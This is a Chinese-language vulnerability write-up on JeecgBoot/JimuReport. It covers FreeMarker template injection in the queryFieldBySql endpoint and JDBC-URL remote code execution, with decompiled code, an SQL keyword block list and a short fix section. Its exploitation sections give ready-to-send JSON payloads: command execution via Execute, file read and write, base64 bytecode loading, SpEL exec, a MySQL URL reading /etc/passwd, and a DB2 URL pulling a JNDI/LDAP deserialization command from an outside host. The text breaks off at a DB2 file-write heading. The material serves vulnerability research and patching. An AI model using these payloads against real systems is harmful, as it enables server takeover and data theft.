Freemarker模板注入

漏洞信息

Freemarker 模板注入导致远程命令执行,远程攻击者可利用该漏洞调用在系统上执行任意命令。漏洞危害等级:高危

影响范围如下

  • minidao-spring-boot-starter 版本 < 1.9.2
  • jimureport-spring-boot-starter 版本 < 1.6.1
  • codegenerate 版本 < 1.4.4
  • hibernate-re 版本 < 3.5.3
  • jeewx-api 版本 < 1.5.2
  • drag-free 版本 < 1.0.2

漏洞分析

存在漏洞的接口/jmreport/queryFieldBySql,这里首先有sql注入风险

image-20231020163248208

这个接口对应的类位于org.jeecg.modules.jmreport.desreport.a.a,方法是org.jeecg.modules.jmreport.desreport.a.a#c(com.alibaba.fastjson.JSONObject)

image-20231020163420808

首先会进入i.a中对sql语句进行处理,这里主要是检测sql注入,采用黑名单的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void a(String var0) {
String[] var1 = " exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract|insert |alter |delete | grant |update |drop | chr | mid | master |truncate | char | declare |user()|".split("\\|");
if (var0 != null && !"".equals(var0)) {
b(var0);
var0 = var0.toLowerCase();
c(var0);
var0 = var0.replaceAll("/\\*.*\\*/", "");

for(int var2 = 0; var2 < var1.length; ++var2) {
if (var0.indexOf(var1[var2]) > -1 || var0.startsWith(var1[var2].trim())) {
a.error("请注意,存在SQL注入关键词---> {}", var1[var2]);
a.error("请注意,值可能存在SQL注入风险!---> {}", var0);
throw new JimuReportException(1001, "请注意,值可能存在SQL注入风险!--->" + var0);
}
}

if (Pattern.matches("show\\s+tables", var0) || Pattern.matches("user[\\s]*\\([\\s]*\\)", var0)) {
throw new RuntimeException("请注意,值可能存在SQL注入风险!--->" + var0);
}
}
}

但是这里的sql注入不是重点,继续向后跟进至org.jeecg.modules.jmreport.desreport.service.a.i#parseReportSql

626行会对sql语句做一个解析image-20231020164215562

跟进至org.jeecg.modules.jmreport.desreport.util.f#a(java.lang.String, java.util.Map<java.lang.String,java.lang.Object>, com.alibaba.fastjson.JSONArray),这里是具体的处理过程

256行的a函数是作freemarker解析的,而257行的a函数是判断解析后是否存在sql注入

image-20231020164513128

继续跟进在256行的a函数,最终在org.jeecg.modules.jmreport.desreport.render.utils.FreeMarkerUtils#a(java.lang.String, java.util.Map<java.lang.String,java.lang.Object>)中会触发freemarker的模板解析,造成模板注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static String a(String var0, Map<String, Object> var1) {
if (var0 == null) {
return null;
} else {
Configuration var2 = new Configuration();
var2.setNumberFormat("#.#########");
var2.setSharedVariable("func", new FunctionMethod());
var1.put("jeecg", new FreemarkerMethod());
var1.put("isNotEmpty", new NotEmptyMethod());
var2.setClassicCompatible(true);
StringWriter var3 = new StringWriter();

try {
a.debug("模板内容:{}", var0.toString());
(new Template("template", new StringReader(var0), var2)).process(var1, var3);
a.debug("模板解析结果:{}", var3.toString());
} catch (TemplateException var5) {
var5.printStackTrace();
} catch (IOException var6) {
var6.printStackTrace();
}

return var3.toString();
}
}

(new Template("template", new StringReader(var0), var2)).process(var1, var3);会解析我们的freemaker语句

漏洞利用

freemarker.template.utility.Execute命令执行

因此可以构造poc,利用freemarker.template.utility.Execute内置来执行命令

200回显

1
2
3
{"sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'"}

{"sql":"select '${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}'"}

报错有回显

1
{"sql":"${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"}

ObjectConstructor实例化对象

利用freemarker.template.utility.ObjectConstructor实例化对象

读文件

1
{"sql":"select '<#assign value=\"freemarker.template.utility.ObjectConstructor\"?new()(\"java.io.FileReader\",\"E:/flag.txt\")>${\"freemarker.template.utility.ObjectConstructor\"?new()(\"java.util.Scanner\",value).useDelimiter(\"Aasd\").next()}'"}

写文件

1
{"sql":"<#assign base64String = \"Y2FsY2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYQ==\"><#assign decoder = \"freemarker.template.utility.ObjectConstructor\"?new()(\"sun.misc.BASE64Decoder\")><#assign bytes=decoder.decodeBuffer(base64String)><#assign value=\"freemarker.template.utility.ObjectConstructor\"?new()(\"java.io.FileOutputStream\",\"E:/re.txt\")>${value.write(bytes)}"}

ScriptEngine 反射加载字节码

1
{"sql":"${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"var classLoader = java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apache.mb.HTMLUtil').newInstance();}catch (e){var clsString = classLoader.loadClass('java.lang.String');var bytecodeBase64 = 'yv66vgAAADEAGAEAAWEHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAIY2FsYy5leGUIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAClNvdXJjZUZpbGUBAAZhLmphdmEAIQACAAQAAAAAAAEAAQAFAAYAAQAHAAAAGgACAAEAAAAOKrcACbgADxIRtgAVV7EAAAAAAAEAFgAAAAIAFw==';var bytecode;try{var clsBase64 = classLoader.loadClass('java.util.Base64');var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder');var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, bytecodeBase64);} catch (ee) {try {var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, bytecodeBase64);} catch (eee) {var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder');bytecode = clazz1.newInstance().decodeBuffer(bytecodeBase64);}}var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');var clsByteArray = (new java.lang.String('a').getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]);defineClass.setAccessible(true);var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance();}\")}"}

加载spel,命令执行

1
{"sql":"${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(java.lang.Runtime).getRuntime().exec(\\\"calc\\\")\").getValue()}"}

加载spel,加载字节码(失败)

1
{"sql":"${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass(\\\"org.apache.commonspe.SignatureUtils\\\",T(org.springframework.util.Base64Utils).decodeFromString(\\\"yv66vgAAADEAGAEAAWEHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAIY2FsYy5leGUIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAClNvdXJjZUZpbGUBAAZhLmphdmEAIQACAAQAAAAAAAEAAQAFAAYAAQAHAAAAGgACAAEAAAAOKrcACbgADxIRtgAVV7EAAAAAAAEAFgAAAAIAFw==\\\"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()\").getValue()}"}

漏洞修复

2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:
1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。

2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类。
3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。
可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类的解析。

官方的修复commit

https://github.com/jeecgboot/jeecg-boot/commit/acb48179ab00e167747fa4a3e4fd3b94c78aeda5

通过设置SAFER_RESOLVER来阻止、freemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor的使用

image-20231020171040228

JDBC rce

影响范围

org.jeecgframework.boot:jeecg-boot-parent@[3.0, 3.5.3]

漏洞分析

漏洞位于org.jeecg.modules.jmreport.desreport.a.a#a(org.jeecg.modules.jmreport.dyndb.vo.JmreportDynamicDataSourceVo)

代码片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
try {
String var37 = var1.getDbType();
Result var40;
if (this.jmReportDbSourceService.isHave(d.cI, var37)) {
boolean var39 = this.jmreportNoSqlService.testConnection(var1);
if (var39) {
var40 = Result.OK("数据库连接成功", true);
return var40;
} else {
this.localCache.a(var3, 1);
var40 = Result.error("数据库连接失败:错误未知");
return var40;
}
} else {
Class.forName(var1.getDbDriver());
DriverManager.setLoginTimeout(60);
String var38 = org.jeecg.modules.jmreport.dyndb.util.b.g(var1.getDbUrl());
var2 = DriverManager.getConnection(var38, var1.getDbUsername(), var1.getDbPassword());
if (var2 == null) {
this.localCache.a(var3, 1);
var40 = Result.OK("数据库连接失败:错误未知", true);
return var40;
} else {

漏洞利用

1.7.9的jdbc依赖如下

1
2
3
4
5
6
7
8
9
<!-- 数据库驱动 -->
<postgresql.version>42.2.25</postgresql.version>
<ojdbc6.version>11.2.0.3</ojdbc6.version>
<sqljdbc4.version>4.0</sqljdbc4.version>
<mysql-connector-java.version>8.0.27</mysql-connector-java.version>
<hutool.version>5.8.25</hutool.version>
<!-- 国产数据库驱动 -->
<kingbase8.version>9.0.0</kingbase8.version>
<dm8.version>8.1.1.49</dm8.version>

老版本可以使用的h2和postgresql已经无法使用

mysql 读文件

1
2
3
4
5
6
7
8
{
"id": "1",
"code": "dataSource2",
"dbType": "Mysql",
"dbDriver": "com.mysql.cj.jdbc.Driver",
"dbUrl": "jdbc:mysql://host.docker.internal:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=65536&user=fileread_/etc/passwd",
"connectTimes": 10
}

db2 jndi注入

打反序列化

1
2
3
4
5
6
7
{
"id": "1",
"code": "dataSource2",
"dbDriver": "com.ibm.db2.jcc.DB2Driver",
"dbUrl": "jdbc:db2://host.docker.internal:5000/BLUDB:clientRerouteServerListJNDIName=ldap://host.docker.internal:1389/Deserialize/Jackson1/Command/dG91Y2ggL3RtcC8x;",
"connectTimes": 10
}

db2 写文件